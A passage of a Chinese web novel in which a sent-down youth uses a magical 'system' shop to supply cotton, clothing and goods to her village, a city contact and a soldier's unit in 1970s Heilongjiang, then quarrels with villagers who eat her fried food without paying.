其实具体多少的，他也不是很清楚，不过他觉得二十斤已经很多了，如果要得更多，怕是会难为程十一。 二十斤吗？ 才二十斤啊！ 程十一有点不满意。 二十斤就要折腾自己出去晃一圈，这样的天气，着实有点不划算。 “是不是太多了？” 祝成才小心询问：“要不，少点也行的。” 耿二牛则是问：“那，布能弄到吗？” “布倒是没问题，粗布，黑色的，灰色的，不要票，当然，价格也会稍微贵一点。” 程十一没接棉花的话茬。 主要是要的太少了，她是真不想折腾这么一下。 至于那七位老人……没有新棉袄也不见得就一定会被冻死，毕竟现在他们都已经安置好了。 祝成才还是有些不死心：“十一，棉花你帮帮忙吧！没有二十斤，十斤也行。” “二十斤，太少了。” 程十一摇头：“不值当折腾这么一次，担的风险太大了。” 这话说得就很直白。 利益不够，她才不折腾。 只是这话也让饭桌上的两位男同志全都傻了眼。 他们真是怎么想都没想到竟然会是这样的原因。 陈丽娇想了想，问：“十一，你的意思是说，你可以弄到更多的棉花？” 程十一点头，夹了一块红烧肉送到嘴里。 唔，好次！ 这下不是两位男同志震惊了，就连陈丽娇的眼睛都瞪圆了：“十一，那你能不能多弄点棉花回来？陈婶子的儿媳妇儿要生了，说是家里面弄不到棉花，小孩子的被子都只能用大人盖过的，一点都不保暖。” “还有王大嫂家也需要棉花，她婆婆老寒腿很厉害了，一到冬天连炕都下不来，要是能做一条厚实的棉裤或者是棉被，这样在炕上也能更暖和些。” “还有还有……” “停。” 程十一叫停了陈丽娇的叽叽喳喳，视线搜过三个小伙伴，很淡定的说道：“你们回头统计一下具体要多少棉花，回头报我一个总数。” 顿了顿，又补充了句：“这件事最好和大队长招呼一声。” “好！吃完饭我就去找大队长！” 耿二牛最先发言。 祝成才点头表示赞同。 陈丽娇倒是也想出去，但想了想还是放弃了 外面天都黑了，天黑后不出门，尤其是不能一个人出门，这个要求还是十一妹妹提出来的，她必须好好遵守。 顾草根在知道牛棚塌了后，第一个反应就是问有没有伤亡。 得知分出去单住的四个知青竟然收留了那七位老人，顾草根的心情其实很复杂。 他知道这样不好，不仅可能会给大队带来麻烦，更会影响到那四个孩子。 可他更清楚整个大队除了他们四个人外，其他人家根本不可能收留那七个人。 所以，最后他只是默默的点了点头，并没有说什么。 可让他怎么也没想到的是，这事才过去没两天时间，那四个孩子竟然又给他找事来了。 “棉花？你，你确定？” 顾草根的声音都有些颤抖。 棉花啊，那可是在冬天里能够保命的东西。 他们大队要说每年都饿死人，那不现实，但冻死的人却是每年都有。 刚出生的娃娃，上了年纪的老人，每年冬天都会走一两个，着实让人心痛。 可是没办法，他也去上面申请过了，但棉花这玩意儿稀缺，上面也只能是宏观调配。 倒是也能种植棉花，可和粮食相比，大家更愿意多种粮食。 耿二牛点点头：“真是棉花。大队长，我们就是想问问咱们大队有没有谁家需要棉花的，咱们一起买，到时候可能还能讲讲价。” 讲价是不可能讲价的。 别说十一没说了，就算十一说了，他耿二牛都不带同意的。 顾草根的手有些抖，拿住了一根烟叼在嘴里，手里拿着火柴尝试了好几次都没点燃。 最后还是耿二牛帮忙，这才让顾草根吸上了一口烟。 “叔，只一个，这件事不能弄得外面的人都知道。你也清楚，这可不是小事，如果传得沸沸扬扬的，到时候别说是我们了，就连您和咱们整个大队都落不得好。” 耿二牛没忘了提醒这一点。 这一点其实才是最重要的。 顾草根连着狠吸了两口烟，这才点点头：“叔明白。你先回去吧！我亲自去统计，回头统计好了再去告诉你们。” 这是保命的东西，他就算是拼了不当这个大队长了，也要努力促成这件事。 让社员们能穿得暖和些，只盼着今年这个冬天不会有人再被冻死。 程十一不知道耿二牛是什么时候回来的，她吃饱喝足后洗漱好，没多会儿就睡着了。 这一天给她累得，连数钱的心思都没有了。 第二天傍晚，天色擦黑，天空倒是晴朗，只是寒风凛冽。 顾草根和蔡桂琴来到了程十一家。 很快，耿二牛和祝成才也过来了。 六个人就在程十一的小房间里，显得屋里有点挤。 “丫头，叔也不给你绕弯子了，那棉花，咱们大队要八百五十斤，你看能弄到不？” 关于价格，程十一昨天晚上就已经报给了三个小伙伴，耿二牛和告诉给了顾草根，要不然顾草根也不可能统计出具体的数量。 程十一点点头，看向耿二牛：“你们呢？要多少？” 耿二牛回：“我们要五十斤。” 除了棉衣棉裤外，被子也是需要用到棉花的。 程十一再次点头：“大队长，明天早上拖拉机我开走，再给我开个去市里的介绍信，时间就定三天吧！” “成成，明天一早你去大队部，叔直接开给你。” 顾草根连连应下，又叮嘱道：“你一个人可得注意安全。” 第213章 他还是太小家子气了 一千斤铁和一千斤棉花哪个更沉？ 显而易见的，一样的沉。 但如果用体积来计算，那可是妥妥的铁更节省空间。 大队统计下来的结果是九百斤，但程十一直接凑了个整，一千斤。 这么多棉花，要真是松松软软的带回去，自己那一拖拉机估计能直接变成棉花山。 好在系统提供了压缩服务。 程十一也不知道系统是怎么操作的，说是压缩，但又不是那种将新棉花变成旧棉胎的压制，反而有点像是羽绒服，压缩了，拍打下，很快就能重新变得松软。 具体的理论，程十一是不打算研究了。 这次出来她肯定是不可能很快就回去，拖拉机招摇的开过了公社，等出了公社有一会儿了，这才被程十一收起来。 冷，太特酿的冷了！ 果然还是小轿车舒服，虽然和后世的汽车没法比，可好歹外面有个铁皮罩子能挡住寒风啊！ 一路开车来到了县城租的院子，发现里面的东西竟然已经没了大半。 剩下的东西里，面的数量最多，至于其他的则是没有多少了。 尤其是水果，那真是一个都不剩了。 看了一圈，程十一又拿出来了些棉花。 总不能只有他们大队有，外面也要有新棉花流通，这样就算真的有人要查，也不会直接把光荣大队显出来。 东西留好后，程十一就买了张回花市的火车票。 没关系，买不到卧铺，但好在还能买到坐票。 一路晃晃悠悠的到了京城，也没多耽搁，买了最近的去花市的车票。 到了花市，先在招待所开了个房间，好好的梳洗了一番，又睡了一觉。 第二天吃过早饭，程十一就去了阮玲玲家。 阮玲玲是独生女，不用下乡，哪怕现在没有工作也不用担心。 程十一到的时候她正在扫地，一看到程十一，当即兴奋得吱哇乱叫。 两个人也没聊多会儿，阮玲玲将屋里收拾了下，换了身衣服，就拉着程十一去找自家小舅舅去了。 如今的屈博日子过得那叫一个舒坦。 从黑省弄回来的山货已经全部都分销完了，无论是对公交易，还是明上报损，实际上是在私下交易出去的，加起来着实让他赚了不少钱。 而且如今他也有了个明面上的工作，虽说工资少到可怜，每个月只有不到二十块钱，但架不住清闲。 每天除了喝茶看报纸，就是看报纸喝茶。 阮玲玲和程十一来找他时，他正在看早上才到手的花市日报，两只脚搭在桌子边上晃一晃，旁边就放着个冒着热气的茶缸子。 “小舅舅！” 阮玲玲的声音响起。 不算大的办公室里就只有屈博一个人，闻言当即放下报纸和脚：“玲玲？你怎么这会儿过……呀！这不是十一吗？快进来快进来！” 一看到程十一，屈博噌的一下就站了起来，满脸笑容的招呼两个小姑娘到一旁的沙发里坐下。 屈博好一番忙活，桌子上很快就多出来了两杯红糖水，瓜子、花生、核桃和松子。 终于坐下了，屈博这才问：“你什么时候回来的？这次回来过年吗？” 程十一摇摇头，抓起一把瓜子一边嗑一边说：“这次回来送点货。” 一听这个屈博可就来精神了：“什么货？” “卫生纸和卫生巾。” 程十一吐掉瓜子皮。 卫生巾实际上是在八十年代后才在国内出现的，不过现在有她程十一在，提前个几年，这很合理吧！ “卫生纸我知道，卫生巾是什么？” 屈博一脸茫然。 别说是他了，就连阮玲玲都是一脸好奇。 程十一想了想，到底还是将卫生巾的作用说了下，同时也没忘了说这东西和月事带的区别。 这下可好，这舅甥俩全都闹了个大红脸，红得像是能滴出血似的。 程十一翻白眼：“这是正常的生理知识。别扭扭捏捏的了，就说这买卖干不干吧！” 能给这俩人解释，那也是为了能卖掉东西，她可没心情看这俩人当场表演什么叫猴子的腚。 “这，这我也没卖过，我，我也不知道好不好卖啊！” 屈博的脸很红，脖子也很红，说话都变得结巴了。 他可还是个连恋爱都没谈过的黄花大小伙呢！ 程十一却摆了摆手，毫不在意的说道：“这玩意儿肯定好卖，回头我教你怎么卖，保准有多少卖多少。” “你就说这单买卖你干不干。” 在没有交易之前，程十一是真不想浪费口水多教授什么知识。 屈博抿着唇想了好一会儿，这才点点头：“干！” 他对什么卫生巾之类的，那真是一点都不了解，但是不妨碍他相信程十一。 无论是之前的山货，还是之之前的卫生纸，那可都是特别好卖的玩意儿。 别的不说，就冲着这丫头让自己赚了不少钱的份儿上，这一次他也愿意赌一次。 大不了就是赔点钱，以他的家底，多了不说，三五千的还是赔得起的。 程十一打了个响指：“行，我这里有一万块钱的货，我可以全都给你留下。” 眼看着屈博的表情都僵硬了，程十一又道：“你先付三成的货款，剩下的七成，等你把货卖了再给我。” 这也是程十一对屈博的信任。 屈博震惊到无以复加。 这么一对比，他突然感觉自己刚刚想着的赔个三五千都能接受的想法简直太小家子气了。 “行！” 屈博也是个有点义气在身上的人，当即拍板。 程十一将交货地点依旧选择在了医院的后门。 那里到了晚上是真安静，连个路过的人都没有，用来干坏事简直不要太方便。 除了卫生纸和卫生巾外，程十一还提到了水果。 在她眼里都不是特别金贵的水果，橘子、苹果、鸭梨、香蕉，但这些放在花市也还是挺稀罕的。 不过水果的货款就必须要一次付完了。 对于这一点，屈博倒是没有任何异议。 商定好了价格，程十一便和阮玲玲离开了屈博的办公室。 屈博也没继续喝茶看报纸，而是拿起电话就开始练习起来。 第214章 干啥？当饭吃啊？ 水果越新鲜，价格就能卖得越高，所以得抓紧时间安排销路。 这些对于屈博来说并不是什么难事，唯一有点让他麻爪的就是卫生巾的销售。 程十一倒是教了他要怎么操作，可他要和女的去说这些着实是有些考验人。 好在有阮玲玲在，她说可以和自己认识的朋友说一说，再加上老妈的人脉，多少应该有点作用。 程十一没有在阮玲玲家多待，甚至都没逛街，直接回了招待所，又睡了一天，半下午的时候才醒。 吃了饭，等到天黑后，就去了医院后门。 此时的医院后门已经是静悄悄的，一个路人都没有。 这次的东西太多了，屈博的人也不可能一次性将所有东西都搬走，所以两个人商定好了分批搬运。 第一个地点就是医院后门，第二个地点是一处废弃的院子。 那院子距离医院不算远，走路的也就是十几分钟的路程。 不过那院子不算大，也不可能放下太多东西，所以还有第三个交易地点。 第三个交易地点是在小学后门。 说是后门，其实那门早就已经废掉了。 晚上这里没有人走动，也算是个不错的交易地点。 等到全都忙活完，时间都到后半夜了。 程十一也不好这个时间回招待所，就直接进了系统仓库休息。 第二天一早先去了火车站买了当天去京城的车票，依旧没有在京城逗留，直接买了最近的回黑省的车票。 黑省又下雪了，不过并不算大，轿车还能行驶，再加上地面上有其他车辆留下的车辙印，倒是也算顺利的回到了公社。 回到公社前就已经将轿车换成了拖拉机。 车斗上面满满当当的都是东西，不过上面用苫布遮住了，别人也看不见到底是什么。 终于回到了光荣大队。 拖拉机停在大队部门口，程十一的手脚都冻僵了，眉毛眼毛上面是厚厚的一层冰霜。 程十一离开的这些天，顾草根那真是恨不能天天都住在大队部，就怕错过消息。 终于把人盼回来了，还不等看一看那车斗里的东西，就看到这样的程十一，吓得他赶紧招呼人进屋暖和。 “棉花都是一斤一包装的，如果谁家要的不够整斤的就拆开吧！拿回去后拆了外面的塑料袋，拍打一下，棉花就能恢复成新棉花的松软状态。” 程十一坐在铁皮炉子跟前，一边烤火一边解释。 顾草根连连应下，确定程十一都说完了，这才赶紧让人去喊人过来卸车。 一斤一包的棉花包装，感觉就是扁扁的一片。 因为有塑料袋在，也不怕脏，卸车直接搬进了仓库。 全部检查过后，这才招呼社员们带着钱过来换棉花。 记住本站: 各家各户的都要了不少棉花。 一来棉花不要票，二来也是之前卖了山货，各家手里都有点余钱。 一听说买棉花，有些人家帮着别的大队的亲戚也带了一些。 如此才凑出了八百五十斤的份量。 像是收钱交货的事，程十一不参合了，她晃悠悠的回到了自己家。 家里面热乎乎的，陈丽娇收拾打理得特别干净。 无论是地上的衣柜还是炕上的柜子，都还是程十一离开前的状态。 不是程十一信不过陈丽娇，而是自己有秘密不适合让别人知道，所以临走前，她在柜子的边缘做了些小记号。 同时也让系统帮忙做了标记。 回来只扫了一圈，就确定了两个柜子都没有被人打开过。 程十一回来了，陈丽娇高兴得不行，当天晚上直接安排上了火锅。 吃了热乎乎的酸菜火锅，程十一睡了饱饱的一觉。 棉花在第二天中午的时候就都换完了，剩下了一百斤，被暂时存放在大队部的仓库里。 顾草根和钱会计过来送钱，言语间全都是对程十一的感谢。 感谢的话说完了，顾草根突然问了句：“丫头啊，你那一百斤棉花还有别的安排不？” 一听这话，程十一挑了挑眉：“叔，你这话是啥意思？你还要再买点回去？” “我不买了，我家这次买了不少了，够用，够用。” 顾草根连忙摆手，又道：“是顾青那小子要买。” “顾青？” 程十一一怔：“他又回来了？” 不是，部队上的年假不应该是一年一算的吗？这人怎么隔三差五的就能回来一次？ 顾草根笑呵呵的说道：“对，又回来了，说是回来养伤。不过我瞧过了，问题不大。” 看他这样子应该是真的没什么大问题。 程十一点点头。 想到之前人家一路上对自己的照顾，还有之前托他的福解决了不少问题，程十一说道：“行，那回头让他来找我吧！我来和他谈。” 如果对方买个十斤八斤的，也就不要钱了，毕竟对方也请自己吃了好几顿饭不说，连去招待所的钱都是人家付的。 顾草根不疑有他，当即点头：“成，那我让他等会儿过来找你。” 说是等会儿，那还真就是等会儿。 顾草根出了程十一家就直接去找了顾青。 没用上半个小时，顾青就敲响了程十一家的门。 记住本站: 恰好此时陈丽娇去隔壁院子看两位老太太的情况了，没在家。 程十一去开了门，看到外面站着的高大身影，她还有点怔愣：“这么快？” 顾青有点懵：“什么？” “哦，没什么，进来说吧！” 程十一摸了摸鼻尖。 进了程十一的房间，顾青就闻到了淡淡的香味儿，这气味和在火车上时闻到的一样，是这小丫头身上散发出来的。 说不出来到底是个什么香味儿，好像是花香，但又好像带了点奶粉的香味儿。 “听大队长说你要棉花，要多少？” 程十一倒了一杯热水给顾青。 顾青就坐在饭桌旁边的长条凳上，脊背挺直，看起来似乎有些拘谨。 闻言，他直接说道：“有多少要多少。” 程十一：“啥？” 她是不是耳朵塞鸡毛了？ 有多少要多少？ 干啥？当饭吃啊？ 顾青轻咳一声：“是，是我的战友们想要买些新棉花打新棉被，我们人不少，所，所以要的多一些。” 记住本站: 第215章 和顾青交易 程十一眯了眯眼，视线一直盯着顾青的脸看。 她有种直觉，那就是这小子没说实话，或者说，没有把话说全。 “你在哪里当兵？” 程十一突然问了这么一嘴。 顾青下意识回答，只是话刚说出两个字就又被他生生止住了：“你问这个做什么？” “看看你在的地方到底有多冷，需要做多厚的棉衣棉被。” 嘴上说得随意，可程十一却依旧没有挪开盯着顾青的视线。 顾青的心里一个咯噔，面上却不显：“不是我当兵的地方，而是在咱们这附近当兵的战友，咱们这里有多冷你也知道，多厚的被子都不嫌厚。” “哦？这样吗？” 程十一突然轻笑：“那咱们这算什么？买卖？还是什么？” “这算是交换吧！” 顾青犹豫着开口：“算是军民一家亲？” “你看我的脑门上写着冤大头三个字吗？” 程十一翻白眼：“我帮大队弄棉花，那是看在一个大队的份儿上，要不然这么高风险的事谁乐意去做？可再怎么说，那也是私底下的交换，民不究官不纠的。可如果是和你们牵扯上关系，我拿不出合适的由头来解释，不把所有的渠道全都说清楚，我还能落下好果子吃？” “顾同志，我认为咱们的关系应该称得上是朋友吧！作为朋友，你确定你要这么坑我？” 说出这番话，程十一的心还是挺不是滋味的。 她是真把顾青当朋友看，可很显然，对方要坑自己，还是坑了一把大的那种。 顾青的心情被程十一说得那叫一个不是滋味。 他也算是有苦难言，有些事情是秘密任务，不能被人知晓。 可这丫头手里有那么多棉花，而自己也是真的缺这东西。 没有这些棉花，战友们的这次任务危险会增加不少。 他们随身携带的东西不多，尤其是抗寒的物资更少。 再加上他们不能随便点火取暖，可以说抵抗山林里的寒气，基本上都靠着一身正气了。 “小程知青，这件事，真的不行吗？” 顾青深吸一口气：“我是以我个人的名义和你交换，如果以后真的有人追究起来，我绝对不会将你说出来，可以吗？” 眉眼间的乞求不是假的。 这样的乞求让程十一蹙眉。 她是真不想沾染这样的麻烦，但……顾青的身份在那摆着，能让他不顾犯错误的风险还要做的事，而且还是为很多人来换棉花，这件事里面可能有什么不能说的隐情。 思及此，程十一突然就不纠结了。 “行。” 记住本站: 答应得太痛快，以至于顾青都有些反应不过来，讷讷反问：“什，什么？” “我说行。” 程十一笑着看着他：“你要多少棉被，多少棉衣棉裤，有没有具体的数量和尺寸？如果你有，我可以出去联系一下，看看能不能弄到一批现成的棉衣棉裤。至于棉被，回头找大队长帮忙，让大队里的婶子大娘们来做，只需要给点手工费，相信她们应该很愿意。” 这样的提议让顾青的眼睛越来越亮：“真的有成衣？” “嗯，你给我数量和尺寸，最多两天，我就能把东西带过来。” 程十一说得肯定。 这一切的信任都基于顾青这个人的身份，以及之前一路相处，到了花市后的种种。 程十一相信顾青的人品，所以也就愿意陪他玩一把大的。 现成的棉衣棉裤，系统商城里就有卖的。 这一波生意，程十一并不打算赚什么钱，只要保本就行，也算是支持一下顾青的工作了吧！ 对于这次出任务的那些战友的身高身形，顾青自然是清楚的，但他却并没有说出来，而是借口明天去打电话问一下。 程十一了然点头。 顾青离开时留下了一百块钱，整整十张大团结。 程十一也没拒绝，大大方方的收了。 第二天中午，顾青来了，同时还带来了一个字条。 二十套棉衣棉裤，至于尺寸，只有两种。 和顾青差不多的尺寸的有八套，比顾青小一点，和祝成才的身形差不多的十二套。 程十一拿着字条，骑着自己的三轮车就出发了。 说是两天，实际上当天半夜，程十一就回来了。 摸黑回来的，为的就是不被社员们发现异常。 到了家门口，大门从里面挂了锁，没办法，程十一直接翻墙进院，拍了拍窗户，叫醒了陈丽娇，又在陈丽娇的帮忙下将好几包东西全都搬进了屋里。 “这些都是给顾同志准备的？” 陈丽娇出去忙活了两次，这会儿也不困了，坐在炕上，披着棉袄和程十一闲聊。 程十一嗯了声，将所有的包裹全部堆在桌子上，还剩下两个堆不上去了，就将两条长条凳并在一起，再将包裹放上去。 “睡吧！明天一早我就去找他。” 如今程十一也知道社员各家的位置了，顾青家也是一样。 但这个时间她也不能去敲人家的门喊人。 第二天天刚蒙蒙亮，程十一就爬了起来，穿得跟个球似的就出了家门朝着顾青家走。 走到半路上，模模糊糊的看着一个人影朝着这边跑过来。 “顾同志？” 记住本站: 程十一看着距离自己越来越近的身影，很是诧异。 妈呀，这还不到五点嘞，这人竟然就起来跑步了。 跑步就跑步吧，这数九寒天的，竟然只穿了一件墨绿色的毛衣。 脑袋上的寸头已经满是白霜，还在冒着热气，就连毛衣也是散发着白色的热气，瞧着就跟个人形蒸笼似的。 “小程知青？你回来了？” 顾青一看到程十一也是吓了一跳。 程十一点点头：“东西都在我家，你看什么时候方便拿走？” 说这话的时候，程十一还特意朝着四周看了看，确定没人注意到他们俩这才说的。 顾青当即说道：“给我二十分钟时间！” 说完转身就往来时的方向跑。 程十一也没拦着，也转身朝着自己家的方向走。 不到二十分钟，顾青来了。 并不是军装打扮，反而看起来就像是普普通通的社员一样，穿着黑色的棉袄，黑色的裤子，脚上还踩着黑色的大棉鞋，脑袋上甚至还扣着一顶狗皮帽子。 记住本站: 第216章 大队的人想换东西 要光是这样的打扮也就算了，关键是这人身后还拽着个扒犁，只第一眼，程十一就差点没把眼珠子瞪出来。 好家伙，那个看起来就很英俊帅气好看的兵哥哪里去了？ 顾青似乎也意识到自己的打扮和以往太不一样，有点不好意思的轻咳了声：“那个，东西呢？” “在屋里，你进来拿吧！” 程十一转身就走。 不能看，不能看，这样的顾青，看起来实在是太招笑了。 看着好几包东西，顾青有些迟疑：“这是二十套？” 不是他事多，实在是这包裹看着着实不像二十套，有点过于多了。 程十一点点头：“二十套足足的，另外还搭了二十双棉鞋，还有手套围脖这些。不过不确定尺码能不能穿，到时候你自己看吧！” 这话让顾青沉默了。 他没想到程十一竟然还会准备其他东西，心情那叫一个复杂。 有感激，也有说不出的愧疚。 不过无论怎么样，这些东西他都是要送到山里去的。 有了这些衣服做伪装，不仅更能保暖，甚至还能够将他们的身份混淆，不至于一眼就能看出他们的职业。 “棉被的事我已经和大队长说过了，大队长说等你签字了就能把棉花分出去做棉被。” 顾青一边搬东西一边说。 程十一嗯了声：“等会儿我就去大队部。” 帮着顾青将所有包裹全都搬到了扒犁上，还用绳子捆绑好，这才目送顾青拽着扒犁离开。 看着方向像是出村，不过程十一却知道，这家伙根本就不是出村，而是在自己回到院子里后，他就调转了方向，一路朝着山林走去。 这还是系统告诉她的。 也就是说，他的那些战友就在山里面。 要这样说，那她也就理解为什么顾青宁愿顶着犯错误的风险也要和自己交易了。 这里的冬天冷，山里的冬天只会更冷。 还好自己没有拒绝这一次交易，否则自己可能真的会后悔。 去大队部签了字，程十一也就没什么事了。 眼看着也要过年了，程十一就开始张罗着准备年货。 倒也不用特意去买什么，家里面几乎什么都有，所谓的准备年货，就是开始炸各种食物。 程十一想吃炸鸡了，就忽悠陈丽娇动手。 在尝试了三四次后，程十一终于吃到了自己想吃的炸鸡。 还别说，调料足够的前提下，这炸鸡的味道竟然也能复刻出来。 至于之前不是很满意的炸鸡自然也不会浪费，全都交给了两位男同志解决。 有了炸鸡，那汉堡也得有啊！ 于是，程十一就开始琢磨起烤面包了。 没有电烤箱？没关系，用大锅也是可以的，反正多尝试几次肯定能成功。 果然，有她娇娇姐姐在，这点事还真难不住。 眼看着炸鸡汉堡都齐全了，程十一就又开始惦记上了可乐。 按照历史轨迹，这个时间国内是没有可乐这种饮品的，但她馋啊！ 直接从系统买回来，那肯定多多少少的不好解释。 那就买可乐粉吧！肯定不如瓶瓶罐罐的好喝，但也算是可乐不是？ 于是，程十一挑了个阳光明媚的早上，骑着她的三轮车去找顾草根开了介绍信。 第二天下午，人回来的时候三轮车上都是满满当当的。 这次是真买了不少东西回来，不是单纯的从系统商城里买的，而是从供销社和百货大楼里买了不少东西。 这些东西大部分都是用来送礼用的，还有一些，比如买的两箱茅台，其中一箱那是要留着珍藏用。 烟也买了不少。 这也多亏了欧阳城，他换了不少烟票酒票给程十一，要不然她还真拿不到这些东西。 商城里虽然也有烟酒这些，但程十一还是感觉有些东西是要真正经历过历史沉淀的才好。 下午回来的时候天气还不错，村子里也有社员在走动，自然而然的就看到了程十一那一三轮车的东西。 前后都没超过两个小时，整个光荣大队的人都知道小程知青买了不少东西回来的事。 于是，程十一刚和陈丽娇将东西一一安置好，正想着晚上吃点什么时，大门被人拍响了。 也不是大家不讲礼貌非要拍门，而是距离远，又是冬天，门窗都关着，不拍门那是真听不见。 来人是蔡桂琴和王彩芬。 程十一还挺惊讶的，赶紧请人进了屋。 一番客套后，王彩芬最先说出了这次来的目的。 想和程十一换点东西。 程十一震惊脸：“换东西？换啥啊？我这里也没啥了啊！” 王彩芬看向蔡桂琴，蔡桂琴接收到眼神示意后，笑着说道：“这不是听说你刚刚回来的时候带了不少东西么，所以大家寻思着，看看是不是能和你换点东西回来。咱们这里距离公社也不算近乎，每次去的时候好多东西都被人抢走了。” 说到最后，蔡桂琴长叹了口气。 王彩芬将话接了过去：“是啊！平日里对付对付的也就算了，可如今要过年了，谁家都想着能让家里过得舒坦点儿。所以小程知青啊，你看看你那有没有能分出来的东西，要是成，就和大家伙换点？” 这话问得小心翼翼。 程十一都不知道自己该做出什么样的表情了。 她就想过个肥年，怎么就这么招人眼了？ 不想换，可是对上这两位那可怜兮兮的目光后，这拒绝的话怎么都说不出口。 别的不说，这俩人对自己那是真的好。 什么青菜，什么白菜、酸菜之类的，基本上都是她俩送过来的，帮忙腌制的。 再有就是之前的山货还有棉花，这俩人也都是义无反顾的帮着自己。 如果是别人来，程十一肯定直接拒绝，但这俩人…… “行吧！大家都想换点什么，我看看我这里能不能分出来些。” 程十一点头了。 之前是顾青，现在是这二位，程十一是越发的感觉人情债是真难还。 不过和顾青那次不一样的是，这次肯定不能是白忙活，该赚的钱还得赚，毕竟给大家伙省了票不是。 结果这一换可就有点收不住了。 刚开始还只是针头线脑、糖块调料，结果换着换着，就变成了猪肉、鸡肉，甚至还有人想换点布回去给待嫁的闺女做身新衣服。 第217章 她不打算这样了 换的种类越来越多，来换东西的人也是越来越多，程十一刚开始还能应付，可没过两天就换得够够的了。 赚的那点钱还不够她操心的。 再加上天天人来人往的，隔壁两个院子里的人根本不敢被人发现，那真是天天的都锁着大门，就怕有人没事闲的会过去看热闹。 “十一，这么下去不行啊，今天我炸的素丸子，结果炸了一下午了，你看看，这都没剩下一个盆底。” 晚上，陈丽娇脸色不太好看的拿着一个盆走了进来。 程十一一看。 好家伙，一个搪瓷盆里就只有二十来个丸子，当真是连个盆底都没盖住。 就听陈丽娇继续说道：“那些人来了看到我在炸丸子，不是说着一些恭维的话，说着想尝尝的，就是直接伸手拿的，快烦死了。” 程十一的脸色也不好看：“你用块布把这盆盖起来，我送大队长家去。” “啊？啥意思？” 陈丽娇没明白程十一是要做什么。 程十一一边穿鞋一边冷笑：“让大队长他们看看，我好心好意的帮大家伙换东西，结果给我换来了什么。” 虽说炸的是素丸子，可到底是炸货，那可都是要用油炸的。 一个两个的不要脸的白吃白喝，这么一算，赚的那点钱甚至都不够这笔花销的。 “我和你一起！” “不用，我自己去，你跟着一起反而不好说。” 程十一拒绝了陈丽娇的提议。 端着一个盆，程十一就这样前往顾草根家。 顾草根家此时刚吃完饭，饭桌还没收拾好。 听见有人喊，顾草根的小孙子跑出去查看，见是程十一，当即嗷嗷大叫起来。 一听说是程十一来了，顾草根也不吧嗒旱烟了，赶紧就起身迎了出来。 这丫头没事可不会来自己家，这会儿过来，那肯递给你是有事了。 就是……不知道会是什么事。 见程十一端着一个盆进来，顾草根当即皱眉：“你这孩子，咋又送东西过来了？” 顾草根的第一个反应就是程十一又来给自己家送礼了。 程十一完全没有平日里的模样，反而冷笑一声：“大队长这话说的，整个大队的人都去我家尝过我家的素丸子了，没道理不给大队长家送来尝尝。” 说着，人已经进了屋，直接将搪瓷盆扔在了桌子上。 桌子上才收拾出来了一块空地，搪瓷盆落在上面发出一声响，惊得所有人都是一个激灵。 顾草根一愣，还不等反应过来，就听见自家媳妇儿说道：“你家今天真炸丸子了？哎呀妈呀，我下午听别人说还以为是开玩笑嘞！” “开玩笑？” 程十一冷眼看向对方：“那她没和你说说我家炸丸子炸得火候够不够？滋味够不够？” 这明显是带着火气的语气，如果顾草根两口子还听不出来那就是真的傻了。 顾草根和自家媳妇儿对视了一眼，两个人都有一种不好的预感。 还是蔡桂琴最先反应过来，拿着围裙擦了擦手，上前拉着程十一坐下：“丫头，你和婶子说，他们今天是不是欺负你了？” “欺负？” 程十一嗤笑，对着搪瓷盆抬了抬下巴：“婶子是说娇娇姐姐为我炸了一下午的丸子，结果就只给我剩了这些吗？” 话都说到这个份儿上了，顾草根和蔡桂琴哪还能不明白。 对于社员们的癖性，他们自然也是了解的，如今再看看那个搪瓷盆，俩人的脸色也都非常难看。 顾草根直接表态：“丫头，今天都谁去了你家吃了东西，你和叔说，叔全都给你讨回来。” “行啊！” 程十一一点都没有要拒绝的意思：“具体的名单我明天给你，一个丸子一毛钱，谁吃了多少，我这边也有记录，还请大队长直接将钱收齐了给我送过来。” “啊？一，一毛钱一个？” 顾草根傻眼了。 他是真没想到是这么个讨回来法。 程十一点点头：“我这虽然是素丸子，但也都是用油炸出来的。而且我这素丸子也不是一般的用萝卜做的那种，而是加了藕。大队长你应该知道藕吧！那可都是从南边送过来的金贵玩意儿，我可花了不少钱才换回来些，就想着过年能吃上一口这个。” 藕，顾草根还真知道，他也知道在他们这里根本就没有这玩意儿。 但他更没想到程十一竟然能弄到。 这下可真麻烦了。 这丸子别说是一毛钱一个了，怕是两毛钱一个可能都不算贵。 “这，这……” 明白道理归明白道理，可这件事还真不能这么解决。 主要是贵，但凡是能做的出白吃人家东西的人就没几个是有深沉的，指望着他们能掏钱买？那不是扯犊子吗！ 蔡桂琴也明白这个道理，赶紧拉着程十一的手，轻轻的拍了拍：“闺女，婶子知道是他们错了，可，可这一毛钱一个，这，这，不是婶子要偏心他们，而是他们真拿不出来。你想想但凡他们能拿的出钱来买，那也不会没脸没皮的去蹭吃蹭喝，是不？” “呵！” 程十一冷笑出声：“所以以婶子的意思，这件事就活该我吃亏咯？就因为我有点门路，所以活该我又要担风险的给大家换东西，还得承担这些损失？” 此话一出，蔡桂琴的脸色就是一白。 人家小同志费劲吧啦的弄了点好东西回来，要不是她和芬姐厚着脸皮去求，人家小同志也不可能遭受这样的无妄之灾。 蔡桂琴不知道该说什么才好了，只能求助的看向顾草根。 顾草根自然也想到了这一点。 可，要钱是不可能的，但人家小程知青也没道理得吃这样的亏。 想了想，顾草根说道：“丫头啊，要不你看这样行不行，那些人的这个钱，回头都算成工分补给你，行不？” “明天开春，我不上工，用他们欠我的工分来抵我的工分。每天都要按照十工分算，等到他们欠的工分抵扣完了，就用拖拉机的钱继续抵扣。” 程十一自然不会浪费这样好的机会。 本来还想着等出国的时候到了，自己就直接请假不算工分的，可现在，她不打算这样了。 第218章 夜里来人 顾草根感觉自己的嗓子有点干。 这丫头也太敢说了吧！ 别的不说，就说大队欠她的拖拉机的钱，这要真是算成工分给她，那这丫头估摸着未来很多年都不用下地干活，还能天天拿十工分了。 可……自己能拒绝吗？ 还真不好拒绝。 端起一旁的水碗，顾草根喝了一大口水，润了润嗓子，这才说道：“这件事我一个人不能定，这样，我明天和其他人商量下，等有结果了再和你说，成不？” 程十一也知道这件事不可能一个人拍板，也就没有再咄咄逼人。 但她来这里的目的却还没有完成。 恰好此时顾草根家的儿媳妇儿端来了一碗糖水给程十一，程十一道了谢，喝了一口，这才说道：“还有换东西的事，我家是不会再干了。劳烦大队长明天一早就和社员们说清楚，要是谁再来拍我家大门，我可就不客气了。” 顾草根：…… 蔡桂琴：…… 他们就知道肯定要坏事。 蔡桂琴犹豫了下，试探着说道：“闺女啊，你看这马上就要过年了……” 